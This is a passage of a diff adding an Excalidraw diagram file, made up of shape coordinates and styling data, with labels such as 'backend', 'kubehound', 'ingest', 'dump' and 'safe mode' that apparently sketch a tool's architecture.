-10.948182870068429 + ], + [ + 108.30769723643212, + -9.930210249173705 + ], + [ + 107.70246074093149, + -7.904306673563838 + ], + [ + 106.79151968942276, + -5.904679975129945 + ], + [ + 105.13820275332665, + -3.297149279605179 + ], + [ + 103.14775548338783, + -1.2166662710240814 + ], + [ + 101.30365530594338, + 0.44968931100400766 + ], + [ + 99.32624668193652, + 2.0938268186051587 + ], + [ + 96.94952862825275, + 3.505874482234816 + ], + [ + 93.57176540533277, + 4.71555960099613 + ], + [ + 91.32773988820148, + 5.359883759380359 + ], + [ + 89.03927822221614, + 5.826463322348189 + ], + [ + 86.92856115164714, + 6.137516364326821 + ], + [ + 85.39551401618124, + 6.159734438753894 + ], + [ + 84.06242955055876, + 6.026425992191584 + ], + [ + 82.88404204807205, + 5.89159446619351 + ], + [ + 81.12630650159979, + 10.76780831873112 + ], + [ + 76.75818689197474, + 19.486822418515303 + ], + [ + 72.16061754864296, + 27.42807855699747 + ], + [ + 68.5731202580129, + 32.65258917441997 + ], + [ + 63.74615778777036, + 38.0481596010609 + ], + [ + 58.611720014127414, + 42.89262998456831 + ], + [ + 52.72543805183139, + 47.62951961103136 + ], + [ + 46.1221225788175, + 51.621296737241614 + ], + [ + 40.360762923931546, + 54.56070369681202 + ], + [ + 33.18576834267132, + 57.34710935943729 + ], + [ + 25.69730312436579, + 59.297593323275024 + ], + [ + 18.661628826236846, + 60.76045629615326 + ], + [ + 12.74051679315805, + 61.77052834885497 + ], + [ + -1.201482000438446, + 62.230179659246744 + ], + [ + -10.700120843677471, + 61.70086820728925 + ], + [ + -14.67074891291852, + 61.00426679163296 + ], + [ + -19.53572762011457, + 60.104602552755566 + ], + [ + -24.63214915680402, + 58.91446254466406 + ], + [ + -29.229718500135796, + 57.31227928865444 + ], + [ + -32.92170600311432, + 55.60560582029639 + ], + [ + -36.741981767088305, + 53.42845832971522 + ], + [ + -40.86296214159646, + 49.89347421191456 + ], + [ + -44.17181886596406, + 46.445297204415674 + ], + [ + -46.68040165691188, + 42.55919733272896 + ], + [ + -48.289508089445235, + 39.99876438289222 + ], + [ + -49.60385054778569, + 37.286629151396085 + ], + [ + -50.64697948297653, + 35.09605838749536 + ], + [ + -51.627520682055845, + 32.425648313406846 + ], + [ + -52.420298672800904, + 30.10990207728318 + ], + [ + -53.192214084842064, + 27.648117790232803 + ], + [ + -53.85981660336421, + 25.165470924478758 + ], + [ + -54.50655654318251, + 22.34902279946353 + ], + [ + -55.23674679781611, + 18.40599542444221 + ], + [ + -55.570548057077175, + 16.0902491883186 + ], + [ + -55.72225700400874, + 14.034238159660894 + ], + [ + -56.03832820755706, + 10.801231389124311 + ], + [ + -56.207934081950185, + 7.621149008811692 + ], + [ + -56.18331967584214, + 5.3812380529810895 + ], + [ + -55.937175614761856, + 3.5105431887706757 + ], + [ + -55.04217349191562, + 2.004699230008274 + ], + [ + -54.11570956276756, + 1.049102577967595 + ], + [ + -52.88498925736598, + 0.23682717640252093 + ], + [ + -51.35889607866804, + 0.06452633364630955 + ], + [ + -49.57375586181263, + 0.03965094524346924 + ], + [ + -25.10783588951206, + 0.05309976757877699 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "rectangle", + "version": 1777, + "versionNonce": 192472288, + "index": "c1vA", + "isDeleted": false, + "id": "N31n-lTIM2tynf-ejFBQU", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -618.3627522207471, + "y": -1954.794546381048, + "strokeColor": "#1e1e1e", + "backgroundColor": "#868e96", + "width": 16.950906275951453, + "height": 15.445754331950567, + "seed": 987739576, + "groupIds": [ + "TXWLIgvyD0J6fMwXpbviG", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1792, + "versionNonce": 2026457312, + "index": "c1vB", + "isDeleted": false, + "id": "W52PMx-81hOA4y09n4BhX", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -598.177583521315, + "y": -1954.794546381048, + "strokeColor": "#1e1e1e", + "backgroundColor": "#868e96", + "width": 16.950906275951453, + "height": 15.445754331950567, + "seed": 1641037496, + "groupIds": [ + "TXWLIgvyD0J6fMwXpbviG", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1789, + "versionNonce": 644689120, + "index": "c1vC", + "isDeleted": false, + "id": "ie6DX8F943A-aWJ9WlleM", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -577.992414821885, + "y": -1954.794546381048, + "strokeColor": "#1e1e1e", + "backgroundColor": "#868e96", + "width": 16.950906275951453, + "height": 15.445754331950567, + "seed": 1271375800, + "groupIds": [ + "TXWLIgvyD0J6fMwXpbviG", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1792, + "versionNonce": 1039438048, + "index": "c1vD", + "isDeleted": false, + "id": "7DYAVymW9vMCknXD9p7R7", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -557.8072461224542, + "y": -1954.794546381048, + "strokeColor": "#1e1e1e", + "backgroundColor": "#868e96", + "width": 16.950906275951453, + "height": 15.445754331950567, + "seed": 887746744, + "groupIds": [ + "TXWLIgvyD0J6fMwXpbviG", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1799, + "versionNonce": 921662688, + "index": "c1vE", + "isDeleted": false, + "id": "e_4aavB7TYmjkFVE6N-c9", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -537.6220774230237, + "y": -1954.794546381048, + "strokeColor": "#1e1e1e", + "backgroundColor": "#868e96", + "width": 16.950906275951453, + "height": 15.445754331950567, + "seed": 886774200, + "groupIds": [ + "TXWLIgvyD0J6fMwXpbviG", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1835, + "versionNonce": 384686304, + "index": "c1vF", + "isDeleted": false, + "id": "AlsLfdK_VTpRINaQ4VJPx", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -598.165873625248, + "y": -1973.1215693955846, + "strokeColor": "#1e1e1e", + "backgroundColor": "#868e96", + "width": 16.950906275951453, + "height": 15.445754331950567, + "seed": 1321149112, + "groupIds": [ + "TXWLIgvyD0J6fMwXpbviG", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1824, + "versionNonce": 830455008, + "index": "c1vG", + "isDeleted": false, + "id": "vJiPvXaIQlVxsM44w71_w", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -577.8492449285773, + "y": -1973.3802191772397, + "strokeColor": "#1e1e1e", + "backgroundColor": "#868e96", + "width": 16.950906275951453, + "height": 15.445754331950567, + "seed": 20581304, + "groupIds": [ + "TXWLIgvyD0J6fMwXpbviG", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1818, + "versionNonce": 1748312288, + "index": "c1vH", + "isDeleted": false, + "id": "YaQNF21Ho5PH4UCM6J8cP", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -557.8838986803007, + "y": -1973.4248697575913, + "strokeColor": "#1e1e1e", + "backgroundColor": "#868e96", + "width": 16.950906275951453, + "height": 15.445754331950567, + "seed": 1450169528, + "groupIds": [ + "TXWLIgvyD0J6fMwXpbviG", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1821, + "versionNonce": 1788740832, + "index": "c1vI", + "isDeleted": false, + "id": "IINr9FSVr1UGBZMheRbmR", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -557.8899808995407, + "y": -1991.936429064086, + "strokeColor": "#1e1e1e", + "backgroundColor": "#868e96", + "width": 16.950906275951453, + "height": 15.445754331950567, + "seed": 1946451384, + "groupIds": [ + "TXWLIgvyD0J6fMwXpbviG", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1296, + "versionNonce": 291246368, + "index": "c1vJ", + "isDeleted": false, + "id": "CIc0C4jk_6AfzfFfSGwpT", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "dotted", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -1676.227314302334, + "y": 2218.629259587712, + "strokeColor": "#343a40", + "backgroundColor": "transparent", + "width": 870.621993023163, + "height": 135.71120329154405, + "seed": 600895776, + "groupIds": [ + "d4ieXqByqqDw3UBBN2Z5L" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "6nCZBB3a" + } + ], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1150, + "versionNonce": 1778183456, + "index": "c1vK", + "isDeleted": false, + "id": "6nCZBB3a", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -1386.1874969899714, + "y": 2238.016574343647, + "strokeColor": "#343a40", + "backgroundColor": "transparent", + "width": 290.5423583984375, + "height": 96.93657377967433, + "seed": 450219296, + "groupIds": [ + "d4ieXqByqqDw3UBBN2Z5L" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "backend", + "rawText": "backend", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "CIc0C4jk_6AfzfFfSGwpT", + "originalText": "backend", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 1191, + "versionNonce": 841107744, + "index": "c1vL", + "isDeleted": false, + "id": "pAfaVyucvcAv5pgvjmEbd", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -1679.5672208437536, + "y": 1502.5001920769, + "strokeColor": "#f08c00", + "backgroundColor": "#ffec99", + "width": 870.621993023163, + "height": 297.76706033307124, + "seed": 350169376, + "groupIds": [ + "d4ieXqByqqDw3UBBN2Z5L" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "fw3Nwa5K" + }, + { + "id": "xYx6tGIP0IWOH7LxTm-yd", + "type": "arrow" + } + ], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1091, + "versionNonce": 87827744, + "index": "c1vM", + "isDeleted": false, + "id": "fw3Nwa5K", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -1428.8789355138128, + "y": 1602.9154353535987, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 369.24542236328125, + "height": 96.93657377967433, + "seed": 1029506336, + "groupIds": [ + "d4ieXqByqqDw3UBBN2Z5L" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "kubehound", + "rawText": "kubehound", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "pAfaVyucvcAv5pgvjmEbd", + "originalText": "kubehound", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 1505, + "versionNonce": 1410161952, + "index": "c1vN", + "isDeleted": false, + "id": "kASNbHiQ4CQU0ABJXdNHd", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "dotted", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -1681.6504230186674, + "y": 2038.7058421514585, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 870.621993023163, + "height": 135.71120329154405, + "seed": 1371496736, + "groupIds": [ + "d4ieXqByqqDw3UBBN2Z5L" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "MRvjyRHk" + }, + { + "id": "rY5ZilpKXya43Cbo8Qs-J", + "type": "arrow" + } + ], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1297, + "versionNonce": 1621408032, + "index": "c1vO", + "isDeleted": false, + "id": "MRvjyRHk", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -1356.5237450495665, + "y": 2058.093156907393, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 220.36863708496094, + "height": 96.93657377967433, + "seed": 1635138848, + "groupIds": [ + "d4ieXqByqqDw3UBBN2Z5L" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "ingest", + "rawText": "ingest", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "kASNbHiQ4CQU0ABJXdNHd", + "originalText": "ingest", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 1513, + "versionNonce": 1969287456, + "index": "c1vP", + "isDeleted": false, + "id": "Cy3fFqf77DetL_pPUeGYa", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "dotted", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -1683.0968984555348, + "y": 1865.6816311245666, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 870.621993023163, + "height": 135.71120329154405, + "seed": 233937184, + "groupIds": [ + "d4ieXqByqqDw3UBBN2Z5L" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "UGe18qDc" + }, + { + "id": "tN13JWzxgMsAN5bTuOD6i", + "type": "arrow" + }, + { + "id": "ge-d0bhNy9YBzB6TnY0IZ", + "type": "arrow" + } + ], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1314, + "versionNonce": 979750176, + "index": "c1vQ", + "isDeleted": false, + "id": "UGe18qDc", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -1335.522397915633, + "y": 1885.0689458805014, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 175.47299194335938, + "height": 96.93657377967433, + "seed": 1252095264, + "groupIds": [ + "d4ieXqByqqDw3UBBN2Z5L" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "dump", + "rawText": "dump", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "Cy3fFqf77DetL_pPUeGYa", + "originalText": "dump", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "diamond", + "version": 2447, + "versionNonce": 1531928864, + "index": "c1vR", + "isDeleted": false, + "id": "PlWgZOvnGG9ONHgcwbn-X", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -2206.116046788058, + "y": 1554.0377508897745, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 448.63983130279274, + "height": 387.74629511869733, + "seed": 485871904, + "groupIds": [ + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "IJLqFiiG" + } + ], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 2417, + "versionNonce": 956710176, + "index": "c1vS", + "isDeleted": false, + "id": "IJLqFiiG", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -2053.3836173437076, + "y": 1670.4250656457093, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "width": 142.8550567626953, + "height": 155.09851804747893, + "seed": 1549708576, + "groupIds": [ + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 62.03940721899157, + "fontFamily": 1, + "text": "safe\nmode", + "rawText": "safe mode", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "PlWgZOvnGG9ONHgcwbn-X", + "originalText": "safe mode", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 1219, + "versionNonce": 1937873184, + "index": "c1vT", + "isDeleted": false, + "id": "O2c1v03_rtGo5ddps5n3R", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2516.5655519223683, + "y": 1568.146037509724, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 171.9743433421433, + "height": 167.2752738064243, + "seed": 1917585696, + "groupIds": [ + "hBe1eM_RoSYUZU1BUuOgJ", + "qRzDCtRUM4EMK6QqPu0Ks", + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + -4.433737419031227, + 1.1744286608188754 + ], + [ + -64.47505593898816, + 29.813250556302695 + ], + [ + -64.47505593898816, + 29.813250556302695 + ], + [ + -68.45558756559029, + 32.96144621307695 + ], + [ + -70.67043586758683, + 37.52784464304563 + ], + [ + -85.36695668555467, + 101.80356869182405 + ], + [ + -85.36695668555467, + 101.80356869182405 + ], + [ + -85.47806950602346, + 106.34774649237096 + ], + [ + -83.75077041216937, + 110.56868991616552 + ], + [ + -83.1042958787324, + 111.47375028124603 + ], + [ + -41.62218281963498, + 163.05164849394612 + ], + [ + -41.62218281963498, + 163.05164849394612 + ], + [ + -37.62413928196131, + 166.1796349378109 + ], + [ + -32.668507352568625, + 167.2752738064243 + ], + [ + 33.86449612496723, + 167.27527380642394 + ], + [ + 33.86449612496723, + 167.27527380642394 + ], + [ + 38.83156975186793, + 166.13721793977436 + ], + [ + 42.828940248511586, + 163.00315871348667 + ], + [ + 84.28950074205264, + 111.41449184430863 + ], + [ + 84.28950074205264, + 111.41449184430863 + ], + [ + 86.49627383611984, + 106.85819930522392 + ], + [ + 86.4444137127938, + 101.7928000353461 + ], + [ + 71.65093077405187, + 37.46319674015171 + ], + [ + 71.65093077405187, + 37.46319674015171 + ], + [ + 69.4320326660111, + 32.89679831018317 + ], + [ + 65.45554185444712, + 29.74860265340856 + ], + [ + 5.511199042119662, + 1.1798158790241704 + ], + [ + 5.511199042119662, + 1.1798158790241704 + ], + [ + -0.05386897098017283, + 2.0816681711721685e-17 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1742, + "versionNonce": 2117170464, + "index": "c1vU", + "isDeleted": false, + "id": "P9HluMqyNgOxMY1eHuiPa", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2516.5674947058524, + "y": 1589.4440144381815, + "strokeColor": "#326ce5", + "backgroundColor": "#fff", + "width": 125.92616165040661, + "height": 123.56077693286784, + "seed": 439215392, + "groupIds": [ + "qRzDCtRUM4EMK6QqPu0Ks", + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + -2.580516374368015, + 1.2720732350825188 + ], + [ + -3.5286770539505263, + 3.9865941335889534 + ], + [ + -3.5286770539505263, + 4.999402716065523 + ], + [ + -3.5286770539505263, + 4.999402716065523 + ], + [ + -3.033046556908293, + 8.409557758424159 + ], + [ + -2.677485659850101, + 14.928175917063426 + ], + [ + -3.8519165684207066, + 16.78678899654242 + ], + [ + -3.9327225937498547, + 18.306004439116162 + ], + [ + -3.9327225937498547, + 18.306004439116162 + ], + [ + -10.413629903844, + 19.308041796255587 + ], + [ + -16.977958337620198, + 21.311186583615275 + ], + [ + -23.141770843715722, + 24.246164383435456 + ], + [ + -28.805580654933582, + 28.05893154233121 + ], + [ + -33.8698804532057, + 32.69544954463542 + ], + [ + -35.16282823565044, + 31.779610247640967 + ], + [ + -35.16282823565044, + 31.779610247640967 + ], + [ + -37.29080928976037, + 31.56411895056687 + ], + [ + -42.12320792035175, + 27.200413762668745 + ], + [ + -44.47745149687296, + 24.695329360826303 + ], + [ + -45.27476878227542, + 24.059629263800005 + ], + [ + -45.27476878227542, + 24.059629263800005 + ], + [ + -47.7690819587807, + 23.11685291245656 + ], + [ + -50.62973239539911, + 24.388253106509158 + ], + [ + -51.28294183463816, + 27.21792310488149 + ], + [ + -49.74621704985168, + 29.68395571383691 + ], + [ + -49.00277130428831, + 30.276555496361283 + ], + [ + -49.00277130428831, + 30.276555496361283 + ], + [ + -46.028988322034834, + 32.01664913310718 + ], + [ + -40.65247455166018, + 35.78775453848092 + ], + [ + -39.93596842930468, + 37.856472017936014 + ], + [ + -38.76153752073419, + 38.933928503306525 + ], + [ + -38.76153752073419, + 38.933928503306525 + ], + [ + -42.80848699400741, + 46.41156847692676 + ], + [ + -45.4074297932129, + 54.435173168733016 + ], + [ + -46.512414170477804, + 62.79717364247646 + ], + [ + -46.07747553363479, + 71.28997527331902 + ], + [ + -47.58591461315361, + 71.72095786746713 + ], + [ + -47.58591461315361, + 71.72095786746713 + ], + [ + -49.126680212978314, + 73.27249726148791 + ], + [ + -55.5591003114726, + 74.33379562442333 + ], + [ + -59.00696620237625, + 74.60315589247766 + ], + [ + -59.96051377905683, + 74.81865232726965 + ], + [ + -60.068259427593865, + 74.81865232726965 + ], + [ + -60.068259427593865, + 74.81865232726965 + ], + [ + -61.83686996690776, + 75.57654790410443 + ], + [ + -62.916399521404756, + 77.03595774279698 + ], + [ + -62.42022185741838, + 80.61118251988351 + ], + [ + -62.15314016720191, + 80.91706168595665 + ], + [ + -60.436767373471326, + 81.88416513101403 + ], + [ + -58.46823539083206, + 81.80595879088432 + ], + [ + -58.39820059084002, + 81.80595879088432 + ], + [ + -57.42848975400649, + 81.69822084892392 + ], + [ + -57.42848975400649, + 81.69822084892392 + ], + [ + -54.20689152323191, + 80.52378994035347 + ], + [ + -47.9468624073098, + 78.69211134636457 + ], + [ + -45.88891872205076, + 79.41939640063386 + ], + [ + -44.27273399399489, + 79.15002585714396 + ], + [ + -44.27273399399489, + 79.15002585714396 + ], + [ + -40.94490317257101, + 86.961257846572 + ], + [ + -36.30089437773569, + 93.98662452354094 + ], + [ + -30.47100783910389, + 100.06246902571468 + ], + [ + -23.58555149286746, + 105.02517559249776 + ], + [ + -24.242799178285843, + 106.39892940027154 + ], + [ + -24.242799178285843, + 106.39892940027154 + ], + [ + -23.91955966381583, + 108.4245465652247 + ], + [ + -27.168097517798234, + 114.30746976455545 + ], + [ + -29.09674539726929, + 117.17888885765213 + ], + [ + -29.554665045766477, + 118.14860226334457 + ], + [ + -29.554665045766477, + 118.14860226334457 + ], + [ + -30.041864547922856, + 120.01006934505338 + ], + [ + -29.552291420149608, + 121.75808534262443 + ], + [ + -28.28154371625571, + 123.05441374337191 + ], + [ + -26.42520407689684, + 123.56077693286784 + ], + [ + -26.052925046164916, + 123.54128443159 + ], + [ + -24.234285979915388, + 122.79885338528942 + ], + [ + -23.073757735672253, + 121.21397020284107 + ], + [ + -22.626611881371108, + 120.2981309058465 + ], + [ + -22.626611881371108, + 120.2981309058465 + ], + [ + -21.59225057278467, + 117.01188220331923 + ], + [ + -20.33634059785514, + 113.4933161779702 + ], + [ + -18.817800765170123, + 110.56869087948773 + ], + [ + -17.277035165345424, + 109.8144739085872 + ], + [ + -16.468944085746987, + 108.34374053989556 + ], + [ + -16.468944085746987, + 108.34374053989556 + ], + [ + -8.302397809714522, + 110.65206576370957 + ], + [ + 0.07874066277947502, + 111.43531084009767 + ], + [ + 8.463609118385824, + 110.69298254815264 + ], + [ + 16.641324792883715, + 108.4245465652247 + ], + [ + 17.35784119067482, + 109.79831064843408 + ], + [ + 17.35784119067482, + 109.79831064843408 + ], + [ + 19.189509509228095, + 110.9027041881537 + ], + [ + 21.646119543765074, + 116.93646050622904 + ], + [ + 22.691254646547453, + 120.22809353699574 + ], + [ + 23.138400500848704, + 121.14393283399009 + ], + [ + 23.138400500848704, + 121.14393283399009 + ], + [ + 24.26865731190015, + 122.70114426844609 + ], + [ + 25.930678189178675, + 123.43119341488385 + ], + [ + 29.307638436925558, + 122.1566386621109 + ], + [ + 29.53310204422122, + 121.84967029986737 + ], + [ + 30.109667009537304, + 119.97360182421238 + ], + [ + 29.619302673225043, + 118.07318056625454 + ], + [ + 29.150609230531785, + 117.10346716056212 + ], + [ + 29.150609230531785, + 117.10346716056212 + ], + [ + 27.22196135106083, + 114.2428167239437 + ], + [ + 23.989586757231372, + 108.54845804277367 + ], + [ + 24.35592658620327, + 106.39354507203244 + ], + [ + 23.757937337722154, + 104.94435929173295 + ], + [ + 30.625298641918175, + 99.9514429443716 + ], + [ + 36.43355025095557, + 93.84992012870644 + ], + [ + 41.05289286270315, + 86.80393065254657 + ], + [ + 44.353537450465495, + 78.9776348745718 + ], + [ + 45.883518980658664, + 79.2470054180616 + ], + [ + 45.883518980658664, + 79.2470054180616 + ], + [ + 47.892983160894374, + 78.5035571036395 + ], + [ + 54.153014845675365, + 80.33523569762835 + ], + [ + 57.374610507591036, + 81.57430937137492 + ], + [ + 58.30121846106369, + 81.77364254601393 + ], + [ + 58.3712558299147, + 81.77364254601393 + ], + [ + 58.3712558299147, + 81.77364254601393 + ], + [ + 60.29343018497598, + 81.86099402380181 + ], + [ + 61.90051858369281, + 81.01686699165634 + ], + [ + 62.902589335997796, + 79.50323367945654 + ], + [ + 63.00976212900186, + 77.58205604164549 + ], + [ + 62.901962534428044, + 77.18906173280259 + ], + [ + 61.77732638663386, + 75.57212946680905 + ], + [ + 59.97128500439426, + 74.78632580696366 + ], + [ + 58.9261499016117, + 74.53851312730143 + ], + [ + 58.9261499016117, + 74.53851312730143 + ], + [ + 55.47827887299031, + 74.26914258381157 + ], + [ + 49.04586648107269, + 73.20785449631175 + ], + [ + 47.49432708705202, + 71.65631510229093 + ], + [ + 46.0397569785134, + 71.22533250814276 + ], + [ + 46.0397569785134, + 71.22533250814276 + ], + [ + 46.42182849934426, + 62.7414602308113 + ], + [ + 45.27319920949225, + 54.39618302845949 + ], + [ + 42.641156663454154, + 46.393976931229496 + ], + [ + 38.57297814029153, + 38.93931796926348 + ], + [ + 39.84437833434406, + 37.76488706069296 + ], + [ + 39.84437833434406, + 37.76488706069296 + ], + [ + 40.5123946762407, + 35.72849096382601 + ], + [ + 45.84580813211353, + 31.978938284562155 + ], + [ + 48.819591114366894, + 30.23884464781628 + ], + [ + 49.60613460557347, + 29.603144550789917 + ], + [ + 49.60613460557347, + 29.603144550789917 + ], + [ + 51.31031559499923, + 26.421299411380062 + ], + [ + 50.80330505306222, + 24.678256724625353 + ], + [ + 49.406842532676684, + 23.354518599492568 + ], + [ + 48.889628483217905, + 23.127626706652617 + ], + [ + 46.88961770370728, + 23.019883626974433 + ], + [ + 45.14008094167176, + 23.994981360905996 + ], + [ + 44.34275851855159, + 24.630681457932305 + ], + [ + 44.34275851855159, + 24.630681457932305 + ], + [ + 41.98851237317145, + 27.13577099749253 + ], + [ + 37.28541468608594, + 31.56950841652375 + ], + [ + 35.10894385151706, + 31.80654730198995 + ], + [ + 33.74596897565701, + 32.77626070768238 + ], + [ + 33.74596897565701, + 32.77626070768238 + ], + [ + 27.36556056316357, + 27.195363386085663 + ], + [ + 20.14576209432265, + 22.877116725153016 + ], + [ + 12.271397828747437, + 19.912427503379728 + ], + [ + 3.9273331277928976, + 18.392199930402242 + ], + [ + 3.846516827028195, + 16.792175893640444 + ], + [ + 2.6720859184577463, + 15.00359761415349 + ], + [ + 3.081520924213917, + 8.501140146808272 + ], + [ + 3.577156558973885, + 5.090987673308524 + ], + 